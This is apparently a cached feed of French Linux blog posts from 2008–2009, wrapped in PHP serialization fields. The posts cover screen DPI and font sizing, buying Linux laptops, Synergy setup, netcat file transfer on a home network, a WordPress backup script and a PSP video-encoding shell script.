Nous pouvons également faire remarquer, de manière peut-être moins rigoureuse, que si nous avons investi dans un écran de meilleure définition, c’est pour « avoir plus de place ».
Mon point de vue est donc celui-ci : il existe un ensemble de tailles (une taille pour les titres, une pour les sous-titres, une pour les paragraphes…), exprimées en points, idéales. Plus nous nous en éloignons, plus nous avons une impression de « trop gros » ou « trop petit ». La seconde proposition, qui consiste à garder la taille des polices identique en points est d’après moi asymptotiquement vraie : que nous possédions un écran 20480×15360 ou 40960×30720 ne doit pas changer la taille apparente des polices.
Mais pour des résolutions trop petites (72 ou 96 dpi par exemple), une contrainte intervient fortement : les caractères doivent avoir une forme reconnaissable, et être « suffisamment lisses ». Impossible alors d’afficher des caractères dont la taille réelle serait lisible, mais dont l’équivalent en pixels est trop faible. ?ous sommes alors obligé d’augmenter artificiellement la taille réelle des polices de caractères.
Remarque : Ce raisonnement n’est valable que pour le changement de la résolution sur un écran de même taille réelle. Si nous voulions définir comment doit se comporter l’affichage sur un écran de résolution identique mais de taille plus grande (donc de meilleure définition), il faudrait prendre en compte l’éloignement des yeux par rapport à l’écran (nous sommes plus proches de l’écran sur un écran 7” que sur un écran 45”). A priori, je dirais ce que qui est asymptotiquement vrai n’est pas la conservation des tailles en points, mais la conservation des angles que forment le haut et le bas d’un caractère avec l’œil (ce qui est équivalent si on conserve un écran de même taille).
Si vous avez des remarques ou d’autres explications, je suis tout à fait ouvert, car ceci n’est que mon intuition :-)
En pratique, c’est compliqué.
La majorité des applications utilise des tailles de polices de caractères exprimées en points, mais des parties de l’interface sont exprimées en pixels. Par exemple, la barre de menu de Gnome a par défaut une hauteur de 24px… et son texte a une taille de 10pt. Ces mesures donnent un rendu cohérent à 96 dpi, mais plus le dpi augmente, plus le texte est « gros » par rapport à la barre (les variations de dpi ne font varier que les mesures exprimées en points). Voici le rendu par défaut sur mon écran 130 dpi :

Pour les applications, ce problème est contournable : on peut facilement les configurer pour définir la taille des composants ou la taille des polices.
Mais le plus gros problème se pose sur les sites internet : certains sites expriment leurs mesures en pixels et d’autres en points. Plus la valeur du dpi est élevée, plus les sites exprimés en points paraîtront gros par rapport à ceux exprimées en pixels. Sans parler des nombreux sites qui mélangent les unités de mesure. Et le pire, c’est qu’il n’y a pas de « bonne manière de faire » : les tailles en pixels et les tailles en points ont chacunes leurs avantages et leurs inconvénients sur les sites internet. On ne peut donc pas espérer que ces problèmes soient gommés au fur et à mesure.
La solution que j’utilise pour éviter ces différences de tailles de texte est de… faire croire à Gnome que mon écran est en 96 dpi. Comme s’il avait une diagonale de 20,85” (15,4×130/96) : il se comporte donc exactement comme un écran 20,85” à 96 dpi qui aurait été rétréci. Au lieu de définir mes polices en 7pt à 130 dpi, je leur donne la valeur 10pt à 96 dpi, et ça évite les incohérences de rendu.
Évidemment, comme je l’ai déjà signalé, cette solution n’est pas satisfaisante : si au lieu de 130 dpi j’avais un écran à 200 dpi, les caractères seraient beaucoup trop petits si je configurais Gnome à 96 dpi (pour lui faire croire que mon écran est un 32,08”).
La valeur arbitraire donnée au dpi par le système rendait la résolution absolument dénuée de sens ; maintenant que la valeur est correcte, je la force à une valeur incorrecte pour avoir un rendu cohérent. C’était bien la peine !
Et je ne vois aucune solution envisageable pour obtenir un rendu cohérent actuellement sur d’éventuels écrans 200 ou 300 dpi. Pourtant, on pourrait penser a priori que les résolutions d’écran ne vont pas arrêter de s’améliorer dans les années à venir : ces problèmes seront-ils un frein à leur développement ?
";s:7:"dateiso";s:15:"20090302_203328";}s:15:"20090226_081655";a:7:{s:5:"title";s:59:"Achat d'ordinateur portable pour GNU/Linux : mode d'emploi";s:4:"link";s:83:"http://blog.rom1v.com/2009/02/achat-dordinateur-portable-pour-gnulinux-mode-demploi";s:4:"guid";s:83:"http://blog.rom1v.com/2009/02/achat-dordinateur-portable-pour-gnulinux-mode-demploi";s:7:"pubDate";s:25:"2009-02-26T08:16:55+01:00";s:11:"description";s:0:"";s:7:"content";s:8706:"Lors de l’achat d’un ordinateur portable destiné à faire tourner une distribution GNU/Linux, deux problèmes se posent :
Nous pouvons distinguer deux types de revendeurs informatique :
Pour comparer les vendeurs d’ordinateurs, l’AFUL a mis en place un site : bons-vendeurs-ordinateurs.info.
Naturellement, il est préférable de se tourner vers un bon revendeur, lorsque cela est possible. Certains proposent des ordinateurs sans système d’exploitation, d’autres proposent des ordinateurs avec Ubuntu ou d’autres distributions GNU/Linux pré-installées. D’autres encore laissent le choix total (Windows XP, Windows Vista, Ubuntu, Mandriva, Fedora… ou sans OS), où le client ne paye la licence que pour les logiciels qu’il désire (et éventuellement le coût d’installation si le client désire avoir un système pré-installé).
Acheter chez un de ces revendeurs résout les deux problèmes initiaux :
Remarque : attention à bien distinguer « ça fonctionne sous Linux » et « ça fonctionne sous Linux out-of-the-box ». Dans le premier cas, cela veut dire qu’il est possible de faire fonctionner le matériel éventuellement en y rajoutant un pilote (propriétaire) ; dans le second cas, tout fonctionne même en LiveCD, sans aucune manipulation. Insistez pour bien vous faire préciser si tout fonctionne sans installation de pilotes supplémentaires.
C’est ce que j’ai fait récemment en achetant un ordinateur Clevo sans logiciels, pour un prix dont la valeur entière tient sur 10 bits (pour les non-geeks, comprenez environ 1000€), pour une configuration plutôt sympa pour le prix (ce n’est pas pour jouer) :
Tout est reconnu, même en LiveCD (seule la carte graphique nVidia nécessite l’installation de pilotes propriétaires, en espérant qu’un jour il soit possible de faire fonctionner les effets 3D avec le pilote libre, comme on peut déjà le faire avec des AMD/ATI ou avec les cartes Intel intégrées). Il me reste encore à tester le bluetooth.
On pourrait donc conclure que tous les problèmes sont résolus, il suffit de se tourner vers ces revendeurs, et c’est gagné. Malheureusement, ce raisonnement serait un peu simpliste.
Si ces revendeurs respectent la loi et permettent d’acheter le matériel sans les logiciels, ils n’en ont pas moins des défauts.
Le premier concerne la gamme disponible : ils ne possèdent pas tous les ordinateurs (loin de là) existants dans le circuit de distribution classique (en grande surface par exemple). Et la plupart des modèles spécifiques chez les bons revendeurs ont un design assez pauvre, qui ne rivalise pas avec celui des ordinateurs de grandes marques.
Ensuite, le prix d’une machine équipée d’un système d’exploitation GNU/Linux chez un bon revendeur est parfois supérieur à celui d’une machine équipée de Microsoft Windows chez un mauvais revendeur, tout simplement parce qu’un petit revendeur ne vend pas suffisamment d’ordinateurs pour pouvoir faire baisser les coûts.
Enfin, le délai est souvent un peu plus élevé, le temps d’assembler l’ordinateur si le revendeur propose le choix du matériel (en tout cas il est forcément plus long qu’en repartant avec l’ordinateur sous le bras dans une grande surface).
Pour diverses raisons (design, prix, autre…), des clients peuvent donc désirer tel modèle d’un matériel de telle marque, sans pour autant être obligés d’acquérir les licences de logiciels qu’ils ne désirent pas. Dans ce cas, certains préfèrent acheter chez un mauvais revendeur.
Là, c’est un peu plus compliqué.
Pour la compatibilité matérielle avec le noyau Linux, il ne faut pas compter sur les vendeurs pour obtenir la moindre information (au mieux, la réponse sera « demandez sur un forum, nous on ne fait pas Linux! », au pire « c’est quoi Linux? »). Demander à un vendeur pour tester un LiveCD ou une LiveUSB d’une distribution GNU/Linux sur un ordinateur mènera presque systématiquement à une réponse négative.
Une solution est de rechercher le modèle exact de l’ordinateur dans un moteur de recherche, en espérant trouver quelqu’un indiquant si tout fonctionne ou non. Dans le cas contraire, il est toujours possible de demander sur un forum (ubuntu-fr par exemple) si quelqu’un fait fonctionner une distribution GNU/Linux sur l’ordinateur en question.
Sinon, il faut s’en remettre à la chance : le matériel est de plus en plus souvent reconnu out-of-the-box avec les nouvelles versions du noyau Linux.
Chez les mauvais revendeur, la vente de la licence d’une version (basic, home, premium, pro, ultimate…) de la génération actuelle de Windows (Vista en ce moment) est imposée (avec éventuellement d’autres logiciels) : il est impossible d’acquérir le matériel sans les logiciels. Ceci est illégal.
Si vous achetez un ordinateur pour y mettre exclusivement GNU/Linux, ou si vous possédez déjà une licence valide et utilisable de Windows, ne vous laissez pas faire !
Suite à différents procès, les constructeurs proposent maintenant des procédures de remboursement (après l’achat). Cependant, la plupart (actuellement toutes) sont abusives.
Non, Windows OEM ne coûte pas 25€ ! Non, le retour de l’ordinateur ne peut pas conditionner le remboursement des licences logicielles !
Je ne vais pas argumenter ou expliquer comment faire ici, je vous renvoie au détail de mes procédures racketiciel en cours.
En attendant l’optionnalité, n’hésitez pas à vous faire rembourser la licence des logiciels que vous n’utilisez pas, comme plusieurs l’ont déjà fait.
Pour résumer, la première chose à faire pour acheter un ordinateur destiné à GNU/Linux est de regarder si un modèle convient (selon les critères de chacun) chez les bons revendeurs. Si ce n’est pas le cas, n’acceptez pas passivement de payer une nouvelle fois des logiciels que vous n’utilisez pas.
";s:7:"dateiso";s:15:"20090226_081655";}s:15:"20090219_203536";a:7:{s:5:"title";s:43:"Piwik : statistiques de votre site sous GPL";s:4:"link";s:71:"http://blog.rom1v.com/2009/02/piwik-statistiques-de-votre-site-sous-gpl";s:4:"guid";s:71:"http://blog.rom1v.com/2009/02/piwik-statistiques-de-votre-site-sous-gpl";s:7:"pubDate";s:25:"2009-02-19T20:35:36+01:00";s:11:"description";s:0:"";s:7:"content";s:1692:"Tout le monde (ou presque) connaît l’outil Google Analytics proposé par le géant du web, qui permet d’obtenir des statistiques détaillées sur la fréquentation de son site internet.
Dans la continuité de l’objectif d’utiliser un blog 100% libre, l’utilisation de cet outil pose problème : tout comme l’hébergement de blogs sur blogspot, l’utilisateur n’est pas propriétaire de ses données.
De plus, Google Analytics, certes pratique et facile d’utilisation, amène d’autres inconvénients :
Mais heureusement, il existe une alternative libre proposant de faire exactement la même chose, en mieux sur certains points, et hébergée chez soi : j’ai nommé Piwik.
Afin de vous donner un aperçu de l’outil, j’ai activé l’accès public des statistiques de ce blog.
EDIT 29/08/2010 : j’ai finalement désactivé l’accès public (les données recueillies sur les visiteurs n’ont pas vocation à être publiées).
Attention, c’est encore une version beta, évidemment à ne pas utiliser en production dans un contexte professionnel. De plus, je ne sais pas comment se comporte Piwik face à une charge importante (mais pour un blog ça devrait aller).
";s:7:"dateiso";s:15:"20090219_203536";}s:15:"20090201_102154";a:7:{s:5:"title";s:46:"Taper des caractères spéciaux sous GNU/Linux";s:4:"link";s:73:"http://blog.rom1v.com/2009/02/taper-des-caracteres-speciaux-sous-gnulinux";s:4:"guid";s:73:"http://blog.rom1v.com/2009/02/taper-des-caracteres-speciaux-sous-gnulinux";s:7:"pubDate";s:25:"2009-02-01T10:21:54+01:00";s:11:"description";s:0:"";s:7:"content";s:4850:"Ceux qui ont déjà utilisé Windows savent peut-être qu’il est possible d’entrer des caractères en appuyant sur la touche Alt suivi du code ASCII en décimal.
Par exemple :
É : Alt+144A : Alt+65® : Alt+169Note : Le code ASCII est utilisé pour les nombres inférieurs à 128. Pour
les autres, je ne sais pas quel codage est utilisé, d’autant que rajouter un 0
devant le nombre change le code (Alt+169 c’est ® alors que Alt+0169 c’est ©,
et ® peut s’écrire aussi Alt+0174). Si quelqu’un a une explication…
Sous Ubuntu, on a peu de raisons d’utiliser une telle méthode, car le layout France (Alternative), par défaut sous Gnome, permet d’utiliser bon nombre de caractères spéciaux, comme vous pouvez le voir sur ce schéma :

Il y a 4 caractères possibles par touche. Voici comment écrire les caractères possibles d’une touche, en fonction de leur position sur le schéma :
Ainsi, pour écrire ® (dans ®om par exemple), il suffit de faire
AltGr+Shift+C, tandis que AltGr+C donne ©. De même, AltGr+Shift+2 génère
un É. Pour les espagnols, le ñ peut être obtenu en pressant AltGr+^, n, le
¿ et le ¡ respectivement grâce à AltGr+? et AltGr+!.
Note : Pour les caractères majuscules se trouvant sur les touches numériques, il est également possible d’activer la touche CapsLock : avec CapsLock activé, la touche 2 génère un É.
Il est donc très simple de faire rapidement des « guillemets » ou des flèches
(←, ↑, ↓, →), d’écrire le mot « œuf » correctement, d’insérer un vrai
signe de mutiplication (2×3) ou d’utiliser de vrais points de suspension…
Par ailleurs, certaines combinaisons de touches donnent naturellement des
caractères spéciaux, par exemple ^ suivi d’un chiffre le met en exposant :
¹²³⁴⁵⁶⁷⁸⁹⁰.
Il est possible également d’utiliser la composition de caractères :
æœéñPour cela, il faut définir une touche du clavier qui permettra d’activer la composition : Système → Préférences → Clavier → Agencements → Autres options… → Position de la touche Compose.

Ensuite, il suffit de laisser appuyée cette touche pendant l’écriture des
caractères à composer. Sur la capture, j’ai utilisé la touche Menu, qui se
trouve à droite de AltGr ; quand je laisse enfoncée cette touche et que
j’écris ae, le caractère æ est généré.
En dernier recours, il est aussi possible d’écrire un caractère directement à partir de son code Unicode en hexadécimal. Pour cela, il suffit de taper : Ctrl+Shift+u+code.
Par exemple, le code hexadécimal de ® est AE (voir ici). Ainsi,
Ctrl+Shift+uae insère un ®.
L’outil gucharmap (Applications → Accessoires → Table des caractères) donne,
en bas de la fenêtre, le code Unicode d’un caractère sélectionné. Par exemple
‰ affiche U+2030 : pour écrire ce caractère, on peut donc taper
Ctrl+Shift+u2030.
Si on veut écrire que x∊ℝ, on fait : x, puis Ctrl+Shift+u220a, suivi de Ctrl+Shift+u211d.
Il ne reste plus qu’à apprendre la table Unicode, bon courage !
";s:7:"dateiso";s:15:"20090201_102154";}s:15:"20090131_132505";a:7:{s:5:"title";s:24:"Nouveau blog, 100% libre";s:4:"link";s:52:"http://blog.rom1v.com/2009/01/nouveau-blog-100-libre";s:4:"guid";s:52:"http://blog.rom1v.com/2009/01/nouveau-blog-100-libre";s:7:"pubDate";s:25:"2009-01-31T13:25:05+01:00";s:11:"description";s:0:"";s:7:"content";s:2795:"Je viens de migrer mon blog hébergé sur blogger vers un blog wordpress sur un serveur perso hébergé chez moi.
Ce nouveau blog est 100% libre :
Les avantages :
Les inconvénients :
Pour les backups, si ça peut vous servir, voici mon petit script que je lance à partir de mon pc fixe :
#!/bin/sh
now=$(date +'%Y%m%d-%H%M%S')
target="/tmp/wordpress_$now.sql.gz"
echo "Connecting to database..."
ssh -t rom-eeebox "mysqldump -u root -p wordpress | gzip > $target"
scp rom-eeebox:"$target" /media/gnu/backup/rom-eeebox
rdiff-backup rom-eeebox::/home/rom/blog /media/gnu/backup/rom-eeebox/blogIl met le contenu de la base dans une archive, la transfert sur le pc fixe, puis
fait un backup incrémental de tout le répertoire /var/www/blog (tout en
gardant les anciennes versions, c’est l’intérêt de rdiff-backup sur rsync).
La barre des 100000 inscrits sur le forum ubuntu-fr.org a été franchie.
Quand on sait qu’en général il y a 5 à 10 fois plus de connectés en invités que de connectés inscrits, ça en fait du monde :-)
Voici un graphique qui montre l’évolution du nombre total d’inscrits :

Et voici l’évolution du nombre de nouvelles inscriptions effectuées chaque jour sur le forum depuis sa création :

Comme cette seconde courbe est globalement assez linéaire (hein, oui, non, vous ne trouvez pas?), le nombre d’inscrits augmente de manière quadratique (pour ceux qui sont fachés avec les maths, ça veut dire en gros que ça augmente de plus en plus vite).
On remarque les pics d’inscriptions lors de la sortie des nouvelles versions d’Ubuntu, représentées par des bandes oranges.
En route vers les 200000 !
PS : merci à Ju pour le résultat de la requête SQL :-)
";s:7:"dateiso";s:15:"20081215_204700";}s:15:"20081213_084100";a:7:{s:5:"title";s:50:"NewsFox : plug-in Firefox agrégateur de flux RSS";s:4:"link";s:76:"http://blog.rom1v.com/2008/12/newsfox-plug-in-firefox-agregateur-de-flux-rss";s:4:"guid";s:76:"http://blog.rom1v.com/2008/12/newsfox-plug-in-firefox-agregateur-de-flux-rss";s:7:"pubDate";s:25:"2008-12-13T08:41:00+01:00";s:11:"description";s:0:"";s:7:"content";s:1338:"J’imagine que, comme moi, beaucoup ne peuvent plus se passer des flux RSS. Vous êtes d’ailleurs certainement en train de lire ce billet dans votre agrégateur de flux, qui permet de facilement parcourir les flux de différentes sources.
J’utilisais liferea, qui était très sympa. Cependant, des petits problèmes m’agaçaient, en particulier un bug aléatoire qui utilise le CPU à 100%. De plus, avoir l’agrégateur séparé du navigateur est un peu gênant. J’ai donc décidé d’en changer pour un agrégateur intégré au navigateur (en plug-in Firefox).
Après en avoir testé plusieurs (ce n’est pas le choix qui manque), je voudrais vous présenter celui que j’ai découvert cette semaine, qui me donne entière satisfaction : NewsFox.
Une fois installé, il rajoute une icône dans la barre principale, qui permet d’ouvrir un onglet contenant NewsFox :

Pour l’installer, il suffit de se rendre sur cette page.
J’ai pu importer ma liste de flux exportée de liferea (au format OPML, le “standard” des listes de flux RSS), ce qui facilite beaucoup la migration.
";s:7:"dateiso";s:15:"20081213_084100";}s:15:"20081125_211000";a:7:{s:5:"title";s:75:"Synergy : contrôlez plusieurs PC avec une seule souris et un seul clavier";s:4:"link";s:101:"http://blog.rom1v.com/2008/11/synergy-controlez-plusieurs-pc-avec-une-seule-souris-et-un-seul-clavier";s:4:"guid";s:101:"http://blog.rom1v.com/2008/11/synergy-controlez-plusieurs-pc-avec-une-seule-souris-et-un-seul-clavier";s:7:"pubDate";s:25:"2008-11-25T21:10:00+01:00";s:11:"description";s:0:"";s:7:"content";s:6856:"Synergy est un outil permettant de contrôler plusieurs ordinateurs avec un seul clavier et une seule souris. De plus, il permet de partager le presse-papier : pratique pour copier-coller d’un ordinateur à l’autre ! Mais en plus, c’est super simple !
Il y a un serveur et n clients. C’est le serveur qui possède le clavier et la souris.

Tout d’abord, sur chacun des postes, il faut installer le paquet synergy
Ensuite, sur le serveur, il faut créer un fichier de configuration
~/.synergy.conf, extrêmement simple :
section: screens
rom-laptop:
rom-desktop:
end
section: links
rom-desktop:
left = rom-laptop
rom-laptop:
right = rom-desktop
end
Ici, rom-laptop est mon portable (le serveur) et rom-desktop est mon fixe
(le client). C’est le nom de la machine, que l’on peut connaître avec :
echo $HOSTNAMELa section screen définit la liste des machines, et la section links définit
leur position relative.
Ensuite, côté serveur, on tape :
synergysEt sur chaque client :
synergyc ip_du_serveurLes clients peuvent être lancés avant le serveur, ils vont tenter de se reconnecter 1 seconde après, puis 3 secondes après, puis 5, puis 15, puis 30 et enfin toutes les minutes. Ils survivent à la déconnexion du serveur, et tentent de se reconnecter en suivant la même règle.
Pour arrêter la connexion, sur le serveur :
killall synergyset sur les clients :
killall synergycAprès quelques minutes d’utilisation, on se rend compte que lorsqu’on est sur le PC de gauche, et qu’on va à la droite de l’écran (pour déplacer la scrollbar de Firefox en plein écran par exemple), on se retrouve involontairement sur l’écran de droite, c’est très embêtant. Mais c’est très facile d’y remédier, il suffit d’ajouter l’option :
section: options
switchDoubleTap = 400
end
Cela permet de ne changer d’écran qu’en cas de double-contact en moins de 400ms avec le bord de l’écran.
Sous Gnome (à adapter pour les autres environnements), il suffit de rajouter
au fichier ~/.gnomerc la commande du serveur ou du client selon le cas.
Pour le serveur :
echo 'synergys' >> ~/.gnomercPour le client :
echo 'synergyc ip_du_serveur' >> ~/.gnomercDeux écrans côte à côte ne sont pas forcément alignés et ils n’ont pas forcément la même hauteur. Par exemple l’écran de mon fixe est un 5:4 et il est un peu surélevé, celui de mon portable est un 16:10 et il est plus bas.
Pourtant, quand je déplace la souris d’un écran à l’autre, je voudrais que la
souris reste à la même hauteur. Aucun problème, on peut passer des arguments
(start,end), exprimés en pourcentage de l’écran, entre 0 et 100 inclus :
section: screens
rom-laptop:
rom-desktop:
end
section: links
rom-desktop:
left(35,100) = rom-laptop(0,85)
rom-laptop:
right(0,85) = rom-desktop(35,100)
end
section: options
switchDoubleTap = 400
end
Ici, la partie supérieure de mon portable ([0%;85%]) est en face de la partie basse de mon fixe ([35%;100%]).
Remarque : la relation n’a pas besoin d’être symétrique, mais c’est plus logique qu’elle le soit :)
Si l’on ne veut pas démarrer synergy au démarrage du système, on souhaiterait pouvoir le faire rapidement sans passer sur chacun des PC pour exécuter une commande. Avec une connexion SSH correctement configurée (par clés de préférence), on peut automatiser le lancement de tous les clients :
synergys
ssh rom-desktop synergyc rom-laptop
ssh un-autre-pc synergyc rom-laptop
(rom-laptop est défini dans /etc/hosts)
Synergy ne chiffre pas les communications, donc tout passe en clair sur le réseau (enfin, du moins pour ceux qui connaissent la clé WPA de votre réseau, si vous êtes en wifi).
Pour chiffrer, il suffit de ne faire écouter le serveur que
sur localhost et de faire passer la connexion dans un tunnel SSH.
Pour limiter à localhost :
synergys -f -a localhostPour cela, ouvrir un tunnel du serveur vers chacun des clients :
ssh client -CvR24800:localhost:24800 synergyc -f localhostOu, à l’inverse, ouvrir un tunnel de chacun des clients vers le serveur :
ssh server -CNvL24800:localhost:24800
synergyc -f localhostCe qui est embêtant, c’est qu’il faut déchiffrer la clé privée, ce qui est problématique pour démarrer synergy au démarrage du système.
Un grand merci à Génération Linux qui m’a fait découvrir cet outil maintenant indispensable.
";s:7:"dateiso";s:15:"20081125_211000";}s:15:"20081115_095100";a:7:{s:5:"title";s:42:"Ubuntu et hotmail : abandonnez hotmail !";s:4:"link";s:66:"http://blog.rom1v.com/2008/11/ubuntu-et-hotmail-abandonnez-hotmail";s:4:"guid";s:66:"http://blog.rom1v.com/2008/11/ubuntu-et-hotmail-abandonnez-hotmail";s:7:"pubDate";s:25:"2008-11-15T09:51:00+01:00";s:11:"description";s:0:"";s:7:"content";s:2945:"De nombreuses personnes ont rapporté des problèmes avec l’utilisation du webmail hotmail ces derniers jours. En effet, la zone de texte réservée à l’écriture du message ne fonctionne pas.
Avant de vous présenter la solution pour contourner le problème, je voudrais vous proposer d’utiliser un compte de messagerie autre qu’hotmail pour vos mails.
Pourquoi? Parce que ce service ne vous propose même pas le minimum : pas d’accès POP3, et encore moins IMAP. Concrètement, cela signifie que vous n’êtes pas libres de consulter vos mails dans un logiciel de messagerie quelconque, ceci afin de mettre en avant Windows Live Mail et Outlook (à moins d’utiliser des plugins plus ou moins performants qui font croire à hotmail que vous y accédez par un navigateur web).
Abandonner votre mail hotmail ne vous empêche pas de conserver votre adresse pour utiliser MSN Messenger.
Évidemment, changer de compte e-mail ne se fait pas du jour au lendemain, mais le temps que vos contacts prennent connaissance de votre nouvelle adresse, il est possible de mettre en place une redirection : sur hotmail, cliquez sur Options → Autres options → Transfert du courrier vers un autre compte de messagerie, et indiquez votre nouvelle adresse. Ainsi, tous les mails qui vous seront envoyés sur votre adresse hotmail seront redirigés vers votre nouvelle adresse.
Rectification : hotmail ne souhaitant pas que ses utilisateurs quittent
l’écosystème Microsoft, il n’est possible de rediriger que sur une adresse
se terminant par @hotmail.com, @hotmail.fr, @msn.com ou @live.com.
Heureusement que tous les fournisseurs de services n’ont pas la même politique,
il est grand temps d’utiliser un service qui respecte un peu plus vos libertés
d’action !
Personnellement, j’utilise gmail, car il propose un accès IMAP et une grande capacité de stockage. Cette adresse gmail peut également être utilisée comme adresse de messagerie instantanée jabber.
Bon, revenons au problème d’édition de mails sous Ubuntu, au cas où vous
voudriez à tout prix conserver votre adresse e-mail hotmail. Pour contourner
le problème, il suffit de ne pas indiquer qu’on utilise Ubuntu. Pour cela,
dans Firefox, tapez about:config dans la barre d’adresse, cherchez la
ligne general.useragent.vendor, double-cliquez dessus, et supprimez le texte
“Ubuntu”.
Et là magie, hotmail refonctionne correctement, comme sous Windows.
";s:7:"dateiso";s:15:"20081115_095100";}s:15:"20081111_110600";a:7:{s:5:"title";s:39:"netcat : communication primaire en TCP";s:4:"link";s:66:"http://blog.rom1v.com/2008/11/netcat-communication-primaire-en-tcp";s:4:"guid";s:66:"http://blog.rom1v.com/2008/11/netcat-communication-primaire-en-tcp";s:7:"pubDate";s:25:"2008-11-11T11:06:00+01:00";s:11:"description";s:0:"";s:7:"content";s:1440:"Comment envoyer un bout de texte d’un pc à l’autre? Ou même un fichier?
Il y a plein de méthodes, mais parfois la plus rudimentaire fonctionne très bien : écrire directement en TCP !
Pour cela, sur un pc (192.168.0.1 par exemple), faites :
nc -l 1234-l veut dire listen (ça veut dire qu’on lance un serveur)
-p 1234 précise le port, choisissez ce que vous voulez
Sur un autre pc :
nc 192.168.0.1 1234Et ça y’est, vous avez un tuyau de communication bidirectionnel, pratique pour faire des copiers-collers d’un ordinateur à l’autre. Si vous ouvrez le port correspondant sur votre routeur, ça marche aussi sur internet, bien évidemment.
L’avantage c’est que nc (ou netcat) est installé par défaut.
On peut aussi transférer des fichiers :
nc -l -p 1234 > monfichiernc 192.168.0.1 1234 < unfichier(terminer par Ctrl+C)
Si vous avez plusieurs ordinateurs chez vous, il y a des dizaines de moyens de partager votre musique sur votre réseau local.
En voici une très simple, grâce à Rhythmbox (le lecteur par défaut d’Ubuntu).
Pour activer le partage, dans Édition → Greffons, il suffit d’activer Partage de musique DAAP (cette case est déjà activée par défaut dans Ubuntu 8.10), de cliquer sur Configurer, et d’activer Partager ma musique.


Vous obtiendrez une nouvelle entrée dans le menu de gauche de Rhythmbox, et vous pourrez lire directement toute la musique se trouvant sur un autre ordinateur :

Rhythmbox doit resté ouvert sur l’ordinateur “serveur”.
";s:7:"dateiso";s:15:"20081108_153000";}s:15:"20081029_173700";a:7:{s:5:"title";s:49:"pspxconv : script d'encodage de vidéos pour PSP";s:4:"link";s:74:"http://blog.rom1v.com/2008/10/pspxconv-script-dencodage-de-videos-pour-psp";s:4:"guid";s:74:"http://blog.rom1v.com/2008/10/pspxconv-script-dencodage-de-videos-pour-psp";s:7:"pubDate";s:25:"2008-10-29T17:37:00+01:00";s:11:"description";s:0:"";s:7:"content";s:22327:"J’ai récemment acheté une PSP, et je voulais pouvoir encoder mes vidéos facilement, avec les réglages que je voulais. J’ai donc écrit un script.
Il s’utilise comme ceci :
pspxconv fichier.avi fichier.mp4 500si l’on veut convertir un .avi en .mp4 lisible par la PSP avec un bitrate
vidéo de 500Kbps (pour l’instant le bitrate audio est fixé à 96).
Il est également possible de définir une qualité constante plutôt qu’un bitrate
moyen (préférable pour -hurry et -afap) :
pspxconv fichier.avi fichier.mp4 q20 -hurryPlusieurs presets de qualité sont disponibles :
-afap : as fast as possible (le plus rapidement possible) ; 1 seule pass
en mpeg4, en 320×240, j’obtiens 190fps ;-hurry : 1 seule passe, en x264, en 480×272, meilleure qualité,
j’ai environ 95fps ;-std (standard) : 2 pass, qualité normale (réglage à privilégier si on
n’a pas de contraintes particulières), environ 55fps ;-hq : 2 pass, qualité un peu supérieure, environ 38 fps ;-vhq : extra haute qualité (inutile), environ 23 fps.On peut aussi rajouter des options de mencoder :
pspxconv fichier.avi fichier.mp4 500 -std -ss 10 -endpos 100n’encodera que de 10s à 110s.
pspxconv fichier.avi fichier.mp4 500 -std -audiofile fichier.mp3encodera la vidéo .avi en utilisant la bande son .mp3.
Ce qu’il reste à améliorer (votre aide est la bienvenue) :
-afap (même si on
met plusieurs threads, 1 seul est à 100%).mkv la piste audio et la piste de
sous-titres à utiliser et incruster.Voici le script :
#!/bin/sh
# pspxconv : video encoding script for PSP
#
# 28th october 2008 - Romain Vimont (®om)
#
# v0.4 (25th june 2009)
#
# Converts input video and audio to mp4 { x264|mpeg4 + faac }, accepted by PSP.
#
# Syntax:
# pspxconv input_file output_mp4 video_bitrate [quality_preset]
# [mencoder_options [...]]
#
# video_bitrate can be an integer, or can define a quantifier if it starts
# with q : q19.5 for example.
#
# quality_preset must be one of :
# -afap : as fast as possible (poor quality mpeg4, 1 pass, fastest)
# -hurry : (default) quite fast (poor quality, x264, 1 pass, fast)
# -std : standard quality (good quality, normal)
# -hq : high quality (very good quality, slow)
# -vhq : very high quality (best quality, very slow)
#
# mencoder_options are appended to command line of mencoder call.
# For example :
# -ss 10 -endpos 56 : trim the video from 10s to 66s.
#
# (of course, there are no options -afap, -hurry, -std, -hq nor -vhq)
#
# Syntax error detected.
# Exits the program with return code 1.
syntax_error() {
printf '%s%s\n' "Syntaxe : $0 input_file output_mp4 video_bitrate " \
'[quality_preset] [mencoder_options [...]]' >&2
exit 1
}
# Indicates whether the argument represents an integer.
#
# $1: value to test
# return: the integer if the argument represents an integer, an empty string if
# it doesn't
is_integer() {
local value="$1"
printf %s "$1" | grep -o '^[[:digit:]]\+$'
}
# Returns the quantification value if the bitrate represents such a value.
#
# $1: value to test
# return: the value if the argument represents a quantifier, an empty string if
# it doesn't
get_q_value() {
local value="$1"
printf %s "$1" | grep -o '^q[[:digit:]]\+\(\.[[:digit:]]\+\)\?$' | cut -c2-
}
# Gets a unique id, based on the clock (seconds + nanoseconds).
#
# return: unique id
uid() {
date +'%s%N'
}
# Indicates whether the encoder must use x264 codec.
#
# $1: preset
# return: 'yes' if it must use it, nothing otherwise
use_x264() {
local preset="$1"
if [ "$preset" != '-afap' ]
then
printf 'yes'
fi
}
# Returns the x264opts command line arguments for the selected preset.
#
# $1: preset
# return: command line arguments
x264_preset() {
local preset="$1"
local common='global_header:threads=auto'
#vbv_maxrate=1536:vbv_bufsize=2000:level_idc=30
local common_q="$common:bframes=1:b_adapt:b_pyramid:weight_b:trellis=2"
local q_value=$(get_q_value "$q")
if [ "$q_value" ]
then
printf "crf=$q_value:"
else
printf "bitrate=$q:"
fi
case "$preset" in
'-hurry') printf "$common:me=dia:subq=1" ;;
'-std') printf "$common_q" ;;
'-hq') printf "$common_q:me=umh:subq=6" ;;
'-vhq') printf "$common_q:me=esa:subq=7" ;;
esac
}
# Returns the lavcopts command line arguments for the selected preset.
#
# return: command line arguments
mpeg4_preset() {
local q_value=$(get_q_value "$q" | sed 's/\..*$//')
if [ "$q_value" ]
then
printf "vqscale=$q_value:"
else
printf "vbitrate=$q:"
fi
printf 'aglobal=1:vglobal=1'
}
# Indicates whether the preset needs 2 passes.
#
# $1: preset
# return: '2' if the selected preset have 2 passes, nothing otherwise
two_passes_preset() {
local preset="$1"
if [ "$preset" != '-afap' -a "$preset" != '-hurry' ]
then
printf 2
fi
}
# Indicates the scale selected for the preset.
#
# $1: preset
# return: width:height scaling
scale_preset() {
local preset="$1"
case "$preset" in
'-afap') printf 'dsize=320:240:0:16,scale=0:0' ;;
*) printf 'dsize=480:272:0:16,scale=0:0'
esac
}
# error when less than 3 arguments
